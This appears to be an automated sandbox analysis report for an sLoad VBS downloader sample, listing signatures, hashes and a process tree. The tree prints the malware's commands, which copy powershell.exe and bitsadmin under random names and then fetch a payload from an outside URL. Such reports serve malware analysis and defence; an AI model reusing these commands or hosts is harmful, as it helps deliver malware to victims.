Analysis

  • max time kernel
    33s
  • max time network
    113s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    23/11/2020, 13:03

General

  • Target
    Allegato_Sload_Italy_vbs (5).vbs
  • Size 6KB
  • Sample201123-74ry3th6la
  • SHA256 2d4f4f98c234ea41653f671c496f4a95efa4a74411703bf5a50fc7fac2992699
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_Sload_Italy_vbs (5).vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2604
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\znYWvYS.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\BDbiuUg*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:648
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\znYWvYS.exe
        3⤵
          PID:1140
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\BDbiuUg*.exe
          3⤵
            PID:1452
        • C:\ProgramData\BDbiuUgin.exe
          "C:\ProgramData\BDbiuUgin.exe" /transfer fiDVgU /download https://fhivelifestyle.online/lidepato/07823500967/map.gif C:\Users\Admin\AppData\Roaming\map.gif
          2⤵
          • Executes dropped EXE
          PID:2200

      Network

            MITRE ATT&CK Enterprise v6

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            Downloads